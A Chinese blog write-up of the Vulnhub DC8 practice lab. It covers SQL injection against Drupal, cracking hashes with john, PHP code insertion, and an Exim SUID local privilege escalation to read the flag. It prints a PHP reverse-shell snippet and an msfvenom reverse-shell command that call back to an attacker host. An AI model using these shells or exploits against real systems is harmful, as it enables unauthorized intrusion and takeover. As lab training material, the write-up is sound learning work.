DC8

经验 & 总结

  1. 对页面的功能和对应的url要敏感。
  2. 所有的功能都要测试,要雨露均沾。
  3. 提示说的那个双因子认证……我真没找到,tweet翻了好久也没找到。
  4. 爆破虽然很无脑,但是在后台慢慢跑,万一有收获呢(当然真实环境还是需要看字典的)。
  5. 插入PHP代码那个地方为什么要在开头输入字符串的问题还没理清楚。

步骤流水

信息搜集

  • 下载页面的提示信息:

    • 涉及到双因子认证,POC由推特用户@theart42 提出
    • 任务目标:绕过双因子认证、获得root权限、读取flag
    • 双因子认证交互接口在SSH上
  • 端口扫描,发现只开放了80和22端口,80端口透露出的信息判断CMS为Drupal7.



  • 访问80端口页面

80端口

  • 一顿瞎点之后发现页面上方的导航栏和左侧的导航栏指向地址不同,而且存在sql注入。





  • sqlmap一把梭,因为mysql端口并没有暴露在外边,数据库中只有drupal的内容,因此将方向确定为获取drupal的用户口令。





  • 整理之后得到用户名和对应hash内容,利用john爆破得到john用户密码 (这个用户名应该算是提示吧)



    • 测试登录ssh和drupal,无法登录ssh但是可以登录drupal。



  • 和之前的DC7不一样,这个用户的权限比较低,只能修改页面内容,对每个功能进行尝试的时候发现一个可以插入php代码的地方。

    • 但是测试并没有效果,返回的是修改之前默认的内容,一顿瞎试也没解决,网上也没找到相关信息(可能是姿势不对)

    • 最后参照网上其他的walkthrough,发现需要在php代码之前添加其他字符



  • 获得服务器相关信息,但是尝试通过sqlmap向web目录下写文件失败,尝试使用php代码直接构造webshell,因为看起来代码执行的结果是直接包含在drupal页面中的,因此考虑使用回连式shell。

获取Shell

  • 添加回连代码

    • 第一个版本,可以执行,但是连接回来就掉了,不清楚原因(如果有知道原因的兄弟,还请告知~)
    <?php
    $sock=fsockopen("公网IP",端口);
    exec("/bin/sh -i <&3 >&3 2>&3");
    ?>

  • 使用msf生成回连shell,这个代码在执行的时候页面是一直处在加载状态的

    msfvenom -p php/reverse_php LHOST=10.0.2.15 LPORT=8888 -f raw -o reshell.php

  • 鸟枪换炮

提权

  • 使用LinEnum.sh查看相关信息

    • 内核信息:Linux dc-8 4.9.0-4-amd64 #1 SMP Debian 4.9.51-1 (2017-09-28) x86_64 GNU/Linux

    • 全局可写文件也没有什么特殊的

    • 在当前进程中看到了一个不同寻常的程序:exim4具有SUID

  • exim4

    exim4:

    Exim4是在剑桥大学开发的另一种消息传输代理(MTA),用于在连接到Internet的Unix系统上使用。 尽管exim的配置与sendmail的配置完全不同,但是可以安装Exim代替sendmail。

    • 确认版本

    • 相关漏洞

    • 由于我的msf框架比较老,没收录这个,同时又不想放弃已经搞下来的shell,因此选择尝试Exim 4.87 - 4.91 - Local Privilege Escalation



  • 尝试提权脚本

  • 检查了一下,是Windows换行符的问题,使用vim打开文件后:set ff=unix保存即可

  • 第一次执行失败,尝试代码中提示的第二种方法,成功提权。

  • 成功读取flag.txt

Vulnhub_DC8 记录的更多相关文章

  1. 记一次debug记录:Uncaught SyntaxError: Unexpected token ILLEGAL

    在使用FIS3搭建项目的时候,遇到了一些问题,这里记录下. 这里是发布搭建代码: // 代码发布时 fis.media('qa') .match('*.{js,css,png}', { useHash ...

  2. nginx配置反向代理或跳转出现400问题处理记录

    午休完上班后,同事说测试站点访问接口出现400 Bad Request  Request Header Or Cookie Too Large提示,心想还好是测试服务器出现问题,影响不大,不过也赶紧上 ...

  3. Kali对wifi的破解记录

    好记性不如烂笔头,记录一下. 我是在淘宝买的拓实N87,Kali可以识别,还行. 操作系统:Kali 开始吧. 查看一下网卡的接口.命令如下 airmon-ng 可以看出接口名称是wlan0mon. ...

  4. 2015 西雅图微软总部MVP峰会记录

    2015 西雅图微软总部MVP峰会记录 今年决定参加微软MVP全球峰会,在出发之前本人就已经写这篇博客,希望将本次会议原汁原味奉献给大家 因为这次是本人第一次写会议记录,写得不好的地方希望各位园友见谅 ...

  5. 分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间)

    分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间) 很多时候我们都需要计算数据库中各个表的数据量和每行记录所占用空间 这里共享一个脚本 CREATE TABLE #tab ...

  6. 我是如何在SQLServer中处理每天四亿三千万记录的

    首先声明,我只是个程序员,不是专业的DBA,以下这篇文章是从一个问题的解决过程去写的,而不是一开始就给大家一个正确的结果,如果文中有不对的地方,请各位数据库大牛给予指正,以便我能够更好的处理此次业务. ...

  7. 前端学HTTP之日志记录

    前面的话 几乎所有的服务器和代理都会记录下它们所处理的HTTP事务摘要.这么做出于一系列的原因:跟踪使用情况.安全性.计费.错误检测等等.本文将谥介绍日志记录 记录内容 大多数情况下,日志的记录出于两 ...

  8. ASP.NET Core应用中如何记录和查看日志

    日志记录不仅对于我们开发的应用,还是对于ASP.NET Core框架功能都是一项非常重要的功能特性.我们知道ASP.NET Core使用的是一个极具扩展性的日志系统,该系统由Logger.Logger ...

  9. python+uwsgi导致redis无法长链接引起性能下降问题记录

    今天在部署python代码到预生产环境时,web站老是出现redis链接未初始化,无法连接到服务的提示,比对了一下开发环境与测试环境代码,完全一致,然后就是查看各种日志,排查了半天也没有查明是什么原因 ...

随机推荐

  1. AcWing 870. 约数个数

    #include <iostream> #include <algorithm> #include <unordered_map> #include <vec ...

  2. 吴裕雄 python 机器学习——数据预处理二元化Binarizer模型

    from sklearn.preprocessing import Binarizer #数据预处理二元化Binarizer模型 def test_Binarizer(): X=[[1,2,3,4,5 ...

  3. 吴裕雄 python 机器学习——集成学习随机森林RandomForestClassifier分类模型

    import numpy as np import matplotlib.pyplot as plt from sklearn import datasets,ensemble from sklear ...

  4. C 语言实例 - 约瑟夫生者死者小游戏

    30 个人在一条船上,超载,需要 15 人下船. 于是人们排成一队,排队的位置即为他们的编号. 报数,从 1 开始,数到 9 的人下船. 如此循环,直到船上仅剩 15 人为止,问都有哪些编号的人下船了 ...

  5. HTML5学习(7)多媒体元素

    视频元素video <video src="./media/xxx.mp4" controls autoplay muted loop></video> 音 ...

  6. nginx配置 yii2 URL重写规则 SSI配置使shtml

    location / { // 加上红色部分 重写url try_files $uri $uri/ /index.php?$args; if (!-e $request_filename){ rewr ...

  7. JDK-13下载安装及环境变量配置

    1.JDK-13下载安装及环境变量配置 直接去官网下载 附下载链接:https://www.oracle.com/technetwork/java/javase/downloads/index.htm ...

  8. 面试问烂的 Spring AO,全文详解

    本人免费整理了Java高级资料,涵盖了Java.Redis.MongoDB.MySQL.Zookeeper.Spring Cloud.Dubbo高并发分布式等教程,一共30G,需要自己领取.传送门:h ...

  9. PHP固定长度字符串

    /** * 获取固定长度随机字符串 * @param $n * @return string * @throws Exception */ function gf_rand_str($n) { if ...

  10. 使用PIE.htc 进行IE兼容CSS3

    步骤: 1.引入文件.注意PIE.htc文件和css文件要放在同一个目录下: 2.在css元素中加上  behavior:url(pie.htc); 3.可以愉快的写css hack啦 ,这时需要的圆 ...